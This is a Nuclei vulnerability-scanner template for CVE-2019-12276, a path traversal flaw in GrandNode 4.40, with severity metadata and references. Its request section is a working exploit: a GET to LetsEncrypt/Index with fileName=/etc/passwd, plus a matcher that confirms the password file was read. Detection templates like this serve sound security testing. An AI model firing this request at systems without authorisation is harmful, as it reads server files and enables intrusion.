nuclei-templates/cves/2019/CVE-2019-12276.yaml

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YAML

id: CVE-2019-12276
info:
name: GrandNode 4.40 - Path Traversal
author: daffainfo
severity: high
description: Path Traversal vulnerability in Controllers/LetsEncryptController.cs in LetsEncryptController in GrandNode 4.40 allows remote, unauthenticated attackers to retrieve arbitrary files on the web server
via specially crafted LetsEncrypt/Index?fileName= HTTP requests. A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
reference:
- https://security401.com/grandnode-path-traversal/
- https://www.cvedetails.com/cve/CVE-2019-12276
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-12276
cwe-id: CWE-22
tags: cve,cve2019,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
headers:
Connection: close
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200